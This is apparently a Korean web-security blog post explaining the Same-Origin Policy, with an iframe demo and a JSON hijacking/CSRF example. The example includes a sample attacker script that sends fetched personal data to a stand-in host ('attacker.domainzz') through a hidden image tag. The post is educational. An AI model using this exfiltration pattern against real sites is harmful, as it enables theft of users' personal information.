SOP(Same-Origin Policy)와 Web Security

오늘은 웹 해킹 시 우리의 발목을 잡는 친구인 SOP(Same-Origin Policy)에 대한 이야기를 하려고 합니다.

Same-Origin Policy?

Same-Origin Policy(동일 출처 정책)는 웹 사이트간 정보 교류에 제한을 두는 정책입니다. 당연히 보안적이 문제로 인해 만들어진 정책으로 MDN에선 아래와 같이 소개되고 있습니다.

The same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin. It is a critical security mechanism for isolating potentially malicious documents.

Ajax 요청, Iframe 등 원격지에 데이터를 쓰고 읽는 태그, 스크립트는 모두 이 정책에 영향을 받습니다. 그래서 아래와 같이 같은 도메인에서만 기능을 수행할 수 있죠.

Source Script

  • http://www.hahwul.com

Target Domain

  • http://www.hahwul.com (o)
  • http://www.google.com (x)

iframe을 예를들어 더 볼게요. 각각 fid1과 fid2 iframe 은 로컬주소와 원격주소를 frame 데이터로 사용합니다.

<iframe src="http://127.0.0.1/123.html" name="fid1"></iframe>
<iframe src="http://192.168.0.8/123.html" name="fid2"></iframe>

<script>
    fid1 = getElementById("fid1");
    fid2 = getElementById("fid2");

    fid1.contentDocument.write("<h1>123</h1>")
    fid2.contentDocument.write("<h1>123</h1>")
</script>

http://127.0.0.1 에서 접근하면 위 스크립트가 실행됩니다. document 에 접근하면 두 결과는 약간의 차이를 보입니다.

  • 동일 도메인인 fid1은 123이라는 글자가 잘 반영되고,
  • 다른 도메인인 fid2는 아래와 같은 에러가 발생합니다.
VM617:1 Uncaught DOMException: Failed to read the 'contentDocument' property from 'HTMLIFrameElement': Blocked a frame with origin "http://127.0.0.1" from accessing a cross-origin frame.(…)

이제 어느정도 차이를 아시겠죠?

Why?

간단한 예시로 Ajax를 이용한 JSON 요청과 CSRF를 예를 들겠습니다 웹 서비스는 XMLHttpReuqest, Ajax, Jquery 등 Javascript 를 이용해서 웹 서버간 데이터를 보내고 받을 수 있고, 그 내용을 서비스에 쉽게 반영할 수 있습니다.

자 이제 어떤 서비스는 자신에 대한 개인정보를 JSON으로 요청해서 받아와 페이지에 반영한다고 칩시다.

Request

POST /myinfo.json HTTP/1.1
Host: ~~~~~
Referer: ~~~~

Response

{"name":"test","phone":"1231231231231"}

이런식으로 전화번호를 받아 페이지에 반영합니다. 해당 요청은 별도 토큰으로 검증하는 로직이 없고 Referer 헤더에 대해서도 체크하지 않습니다. 그렇다면 공격자는 CSRF를 이용해 사용자가 자신의 정보를 받아오도록 유도하고, JSON 데이터에 대해 Hijacking 하여 그 정보를 공격자 서버로 전송할 수 있게 합니다.

공격자 코드(예시)

<script>
$.ajax({
        ~~~.json 전송 구간
        success: function (result) {
            switch (result) {
                case true:
                    document.write("<img src='attacker.domainzz/?"+result+"' style='display:none'>");
                    break;
                default:
                    resultDiv.html(result);
            }
        },
        error: function (xhr, ajaxOptions, thrownError) {
        }
    });
</script>

이런식으로 코드 구성이 가능합니다. 네 바로 JSON Hijacking이에요. 아주 예전 브라우저에선 이러한 공격을 막을 방법이 없었고, 현재는 SOP로 인해 기본적으로 차단됩니다. 단 이를 예외적으로 허용해주는 정책인 CORS 여부와 설정에 따라서 가능할수도 있겠죠.

Reference

  • https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy